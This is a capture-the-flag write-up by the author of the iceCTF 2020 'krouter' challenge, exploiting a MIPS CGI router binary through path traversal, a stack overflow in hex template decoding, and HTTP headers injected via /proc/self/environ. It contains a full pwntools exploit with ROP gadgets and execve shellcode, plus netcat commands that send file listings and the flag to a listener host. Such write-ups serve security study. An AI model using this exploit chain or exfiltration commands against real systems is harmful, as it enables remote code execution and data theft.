iceCTF-2020 - krouter writeup

31-12-2020 - rekter0

# Summary

Another Path traversal to RCE, but it's not PHP

krouter - [1000pts]
1 solves

all those routers using cgi powered web interfaces. i made my own, can you help me spot any vulnerabilities ? i left you an important file out there

http://159.65.199.231/

Author: rekter0

i made a challenge for iceCTF that was running 27-30 december 2020, provided challenge archive contains 2 files router.bin and qemu-mips, and the router.bin is running behind an apache webserver as a cgi script.

$ file router.bin 
router.bin: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=0a0be478a878ada9b89cbea76e5dca8ddfe988c1, stripped
$ checksec router.bin
    Arch:     mips-32-big
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

MIPS 32bit big endian binary
TL;DR

  • PATH TRAVERSAL http://159.65.199.231/router.bin?a=../../../../etc/passwd
  • Out of bound write while hex decoding html templates
  • Apache sends HTTP headers, QUERY_STRING and more as env variables to cgi script
  • Send our template payload in HTTP header and use path traversal to load /proc/self/environ
  • RCE

# PATH TRAVERSAL

just by browsing the web app, there's nothing much except a login form that always returns not implemented and a GET parameter that page content changes when it does. main function is located at 0x00400aec, i used ghidra, i know it's striped that sucks, here's decompilation with pseudo reconstructed symbols

undefined4 main_(void)

{
  int iVar1;
  int iVar2;
  undefined4 auStack136 [2];
  char acStack128 [120];

  puts_maybe("Content-Type: text/html\n\n");
  iVar1 = getenv_maybe("QUERY_STRING");
  openFile_and_write("./files/head.html");
  if (iVar1 != 0) {
    strtok_maybe(iVar1,&equal_sign_str);
    iVar1 = strtok_maybe(0,&equal_sign_str);
    if (iVar1 == 0) {
      openFile_and_write("./files/body.html");
    }
    else {
      iVar2 = strcat_maybe(auStack136);
      *(undefined4 *)((int)auStack136 + iVar2) = 0x2e2f6669;
      *(undefined4 *)((int)auStack136 + iVar2 + 4) = 0x6c65732f;
      acStack128[iVar2] = '\0';
      strncat_maybe(auStack136,iVar1,0x32);
      openFile_and_write(auStack136);
    }
  }
  openFile_and_write("./files/footer.html");
  return 0;
}

so the program looks for "=" in QUERY_STRING and does split, then concats "./files/"+PARAM_VALUE, and sends it to openFile_and_write, there goes the path traversal

$ curl http://159.65.199.231/router.bin?aaaaa=../../../../etc/passwd

<!DOCTYPE html>
<html>
<head>
    <title>KROUTER</title>
</head>
<header>
    <a href="./router.bin">Home</a>
    <a href="./router.bin?a=about">About</a>
    <a href="./router.bin?a=contact">Contact</a>
</header>
<br/><br/><br/>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[...]
[...]
pollinate:x:110:1::/var/cache/pollinate:/bin/false
getflag:x:1000:1000:,,,:/home/getflag:/bin/bash
<br/><br/><br/>
<footer>copyleft 2020</footer>

# Out of bound write

let's examine openFile_and_write located at 0x00400840, decompilation from ghidra

void openFile_and_write(undefined4 filepath)

{
  int file_buffer;
  int position1;
  uint position2;
  int iStack296;
  int iStack292;
  int iStack288;
  int iStack284;
  undefined hex_template_var [260];

  file_buffer = readFile_to_buffer(filepath);
  position1 = binary_strpos(file_buffer,_DAT_004a1730,"=HEX=",5);
  if (position1 == -1) {
    fwrite_maybe(file_buffer,1,_DAT_004a1730,PTR_DAT_004a0464);
  }
  else {
    iStack296 = 0;
    while (iStack296 < position1) {
      putchar_maybe((int)*(char *)(file_buffer + iStack296));
      iStack296 = iStack296 + 1;
    }
    position2 = binary_strpos(file_buffer + position1 + 5,(_DAT_004a1730 - position1) + -5,"=HEX=",5
                             );
    if (position2 != 0xffffffff) {
      if ((position2 & 1) != 0) {
        exit_maybe(0);
      }
      iStack292 = 0;
      iStack288 = position1 + 5;
      while (iStack288 < (int)(position2 + position1 + 5)) {
        sscanf_maybe(file_buffer + iStack288,"%02hhx",hex_template_var + iStack292);
        iStack292 = iStack292 + 1;
        iStack288 = iStack288 + 2;
      }
    }
    printf_maybe(&DAT_004749f4,hex_template_var);
    iStack284 = position2 + position1 + 10;
    while (iStack284 < _DAT_004a1730) {
      putchar_maybe((int)*(char *)(file_buffer + iStack284));
      iStack284 = iStack284 + 1;
    }
  }
  return;
}

this does open and read given file into a buffer then looks for "=HEX=" first 2 occurences, prints what is before first occurance, hex decodes what's in between if length is pair and stores it into another stack buffer, then prints whats after second occurance. here the out of bound write happens and you can overwrite $ra to hijack the program flow.

# the given html template files

since we got the path traversal, we know where the html templates are located http://159.65.199.231/files/[file_name] if you have looked at about file for example

$ curl http://159.65.199.231/files/about
<p>=HEX=617765736f6d6520726f75746572=HEX=</p>
<p>much wow</p>

$ printf 617765736f6d6520726f75746572|xxd -r -p
awesome router

$ curl http://159.65.199.231/router.bin?a=about
[...]
<p>awesome router</p>
<p>much wow</p>
[...]

you will notice that directly calling the file from apache as a static file, the template engine syntax is visible, while reading the file through the binary has that string is decoded and rendered as ASCII, and from here you can investigate this odd behaviour from the binary

# producing the crash

its easier to simulate apache behaviour with env variables while debugging/testing than using full webserver.

$ echo `printf =HEX=;python3 -c 'print ("A"*300,end="")'|xxd -p -c 1000000|tr -d '\n';printf =HEX=`
=HEX=414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141=HEX=

$ echo `printf =HEX=;python3 -c 'print ("A"*300,end="")'|xxd -p -c 1000000|tr -d '\n';printf =HEX=` > exploit_file

$ QUERY_STRING="/a?=../exploit_file" ./qemu-mips ./router.bin
Content-Type: text/html


<!DOCTYPE html>
<html>
<head>
    <title>KROUTER</title>
</head>
<header>
    <a href="./router.bin">Home</a>
    <a href="./router.bin?a=about">About</a>
    <a href="./router.bin?a=contact">Contact</a>
</header>
<br/><br/><br/>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA./files/../exploit_file
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault (core dumped)

so if we can control file content we can segfault this crappy router :) do we control any file on the server? maybe ...

# Leveraging apache behaviour to parially control a file content

we can now produce a crash and a stack overflow when we can provide the binary with a long hex using it's template syntax, but to do so we need to control the content of the file fed to printFile_and_write. luckily apache when executing a cgi script, it's sending to it QUERY_STRING and HTTP Headers through env variables, this means that we can read /proc/self/environ file, and it will contain the HTTP headers we send inside, sounds like a good way to partially control a file over the server.

$ curl http://159.65.199.231/router.bin?aaaaa=../../../../proc/self/environ -H 'PWN: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' --output -

<!DOCTYPE html>
<html>
<head>
    <title>KROUTER</title>
</head>
<header>
    <a href="./router.bin">Home</a>
    <a href="./router.bin?a=about">About</a>
    <a href="./router.bin?a=contact">Contact</a>
</header>
<br/><br/><br/>
HTTP_HOST=159.65.199.231HTTP_USER_AGENT=curl/7.58.0HTTP_ACCEPT=*/*HTTP_PWN=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binSERVER_SIGNATURE=SERVER_SOFTWARE=ApacheSERVER_NAME=159.65.199.231SERVER_ADDR=159.65.199.231SERVER_PORT=80REMOTE_ADDR=X.X.X.XDOCUMENT_ROOT=/var/www/htmlREQUEST_SCHEME=httpCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/var/www/htmlSERVER_ADMIN=webmaster@localhostSCRIPT_FILENAME=/var/www/html/router.binREMOTE_PORT=53462GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GETQUERY_STRING=aaaaa=../../../../proc/self/environREQUEST_URI=/router.bin?aaaaa=../../../../proc/self/environSCRIPT_NAME=/router.bin<br/><br/><br/>
<footer>copyleft 2020</footer>

way to go, we have everything we need in there

$ cat exploit_file 
=HEX=414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141=HEX=

$ curl http://159.65.199.231/router.bin?aaaaa=../../../../proc/self/environ -H "PWN: `cat exploit_file`" 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator at 
 webmaster@localhost to inform them of the time this error occurred,
 and the actions you performed just before this error.</p>
<p>More information about this error may be available
in the server error log.</p>
</body></html>

# Getting RCE

we got the bug, and we can control the file content fed into openFile_and_write, its a matter of exploit craftsmanship. in challenge files ive provided the qemu-mips emulator used which is patched and has ASLR, i have seen people in logs trying to bruteforce stack addresses, i think there's enough entropy to make bruteforce impossible

$ cat b.c
#include<stdio.h>
int main() 
{ 
    int lol;
    printf ("%x\n",&lol);
}
$ mips-linux-gnu-gcc -o b.bin b.c -static

$ ./b.bin
7ffff000
$ ./b.bin
7ffff000
$ ./b.bin
7ffff000
$ ./b.bin
7ffff000
$ ./b.bin^C
$ ./qemu-mips b.bin
72c6b000
$ ./qemu-mips b.bin
79e58000
$ ./qemu-mips b.bin
72c29000
$ ./qemu-mips b.bin
7abaf000
$ ./qemu-mips b.bin
72175000
$ ./qemu-mips b.bin
7ef00000
$ ./qemu-mips b.bin
7a030000
$ ./qemu-mips b.bin
7eaa0000
$ ./qemu-mips b.bin
78db1000
$ ./qemu-mips b.bin
77780000
$ ./qemu-mips b.bin
7ac86000

i will not dive into dynamic analysis or finding gadgets, i have it covered already in this post
https://r0.haxors.org/posts?id=4 also ptr-yudai used ret2csu and writing shellcode into bss here
https://ptr-yudai.hatenablog.com/entry/2020/07/26/213605#pwn-499pts-babym1ps

i have used very similar gadgets from my other writeup for 3kCTF-babym1ps, stackpointer where our nopsled are into a register and jump to it.

===GADGET1
__libc_freeres_fn:004745F4                 lw      $ra, 0x30+var_4($sp)
__libc_freeres_fn:004745F8                 lw      $s3, 0x30+var_8($sp)
__libc_freeres_fn:004745FC                 lw      $s2, 0x30+var_C($sp)
__libc_freeres_fn:00474600                 lw      $s1, 0x30+var_10($sp)
__libc_freeres_fn:00474604                 lw      $s0, 0x30+var_14($sp)
__libc_freeres_fn:00474608                 jr      $ra
===GADGET2
.text:0040DCA4                 addiu   $a2, $sp, 0x60+var_28
.text:0040DCA8                 sw      $zero, 0x60+var_44($sp)
.text:0040DCAC                 move    $a0, $s2
.text:0040DCB0                 sw      $zero, 0x60+var_48($sp)
.text:0040DCB4                 sw      $v0, 0x60+var_4C($sp)
.text:0040DCB8                 move    $t9, $s1
.text:0040DCBC                 jalr    $t9
===GADGET3
.text:00423774                 move    $t9, $a2
.text:00423778                 jr      $t9

as for the shellcode i just used shellcraft execve. full exploit:

from pwn import *
import sys
import requests

context.update(arch="mips", bits=32, endian="big", os="linux")

if len(sys.argv)<3:
    print('python sploit.py local|remote cmd')
    exit()


path = '/bin/sh'
argv = ['sh', '-c', sys.argv[2]]
envp = {}
shellcode = shellcraft.mips.linux.execve(path, argv, envp)
shellcode = asm(shellcode)

gadget1=0x004745F4
gadget2=0x0040DCA4
gadget3=0x00423774 

buff  = ("A"*264).encode()
buff += p32(gadget1) + ("A" * 0x1c).encode() + (p32(gadget3)*4) + p32(gadget2) + ('\x00' * 56).encode() + shellcode
buff  = '=HEX='+(buff.hex())+'=HEX='

if(sys.argv[1]=='local'):
    env={'QUERY_STRING':'/a=../../../../../../proc/self/environ','PWN':buff}
    p = process('./router.bin',env=env)
    p.interactive()

else:
    print(buff)
    requests.get("http://159.65.199.231/router.bin?a=../../../../../../proc/self/environ",headers={'PWN':buff})

Getting the flag

terminal 1

$ python sploit.py remote 'ls -lia / | nc IP_TO_EXFILTRATE_DATA 7080'
=HEX=414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141004745f441414141414141414141414141414141414141414141414141414141004237740042377400423774004237740040dca400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003c092f623529696eafa9fff83c19d08c373997ff03204827afa9fffc27bdfff803a020203c198c973739ffd203204827afa9ffd43c199cff3739938c03204827afa9ffd83c09202d35296c69afa9ffdc3c09612035292f20afa9ffe03c097c2035296e63afa9ffe43c0920363529342eafa9ffe83c0932323529352eafa9ffec3c09363835292e31afa9fff03c09363535292033afa9fff43c09313335293337afa9fff8afa0fffc27bdffd42805ffffafa5fffc23bdfffc2419fff50320282703a52820afa5fffc23bdfffc2419fff40320282703a52820afa5fffc23bdfffc2419fff30320282703a52820afa5fffc23bdfffc03a02820afa0fffc27bdfffc2806ffffafa6fffc23bdfffc03a0302034020fab0101010c=HEX=

terminal 2

$ nc -lnvv -p 7080
Listening on [0.0.0.0] (family 0, port 7080)
Connection from 159.65.199.231 58692 received!
total 112
[...]
 18554 -r--------   1 getflag getflag    41 Dec 27 13:21 f09aaa3423420e20eb8e9ae8418fa0c830f46d28.txt
 30038 -rwsr-xr-x   1 getflag getflag  8512 Dec 27 14:30 getflag_execute_me
[...]
[...]

flag file is owned by getflag user and only that user has permission to read it, but there's a suid binary getflag_execute_me.

terminal 1

$ python sploit.py remote '/getflag_execute_me | nc IP_TO_EXFILTRATE_DATA 7080'

terminal 2

$ nc -lnvv -p 7080
Listening on [0.0.0.0] (family 0, port 7080)
Connection from 159.65.199.231 58694 received!
IceCTF{d4052e9c1c60371374fe53085f9b3307}

iceCTF - rce - mips - pwn

CONTACT



rekter0 © 2022